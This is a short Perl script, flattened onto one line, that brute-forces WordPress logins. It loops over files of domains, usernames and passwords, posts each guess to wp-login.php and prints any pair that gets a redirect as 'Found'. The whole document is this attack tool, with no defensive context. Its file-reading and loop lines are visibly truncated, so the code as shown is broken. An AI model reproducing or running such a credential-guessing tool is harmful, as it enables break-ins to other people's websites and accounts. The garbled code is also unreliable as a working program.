use strict; use warnings; use Getopt::Std; use HTTP::Cookies; use LWP; use HTTP::Request::Common qw(POST); use HTTP::Request::Common qw(GET); my $cookie_jar = HTTP::Cookies->new( file => "cookies.dat", autosave => 1, ); getopt('d:p:n:w:'); our($opt_d, $opt_p, $opt_n, $opt_w, $dfh, $nfh, $wfh); open($dfh, '){ chomp $thisDomain; open($nfh, '){ chomp $thisName; open($wfh, '){ chomp $thisPass; my $ua = LWP::UserAgent->new; $ua->cookie_jar($cookie_jar); my $resp = $ua->post("http://$thisDomain/wp-login.php", { 'log' => $thisName , 'pwd' => $thisPass, 'wp-sumbit' => 'Log In', 'redirect_to' => "http://$thisDomain/wp-login.php", 'rememberme' => 'forever', 'testcookie' => 1}); if($resp->is_redirect){ print "Found: $thisName:$thisPass\n"; }else{ print "Not Found: $thisName:$thisPass $resp->status_line\n"; } undef $resp; } } }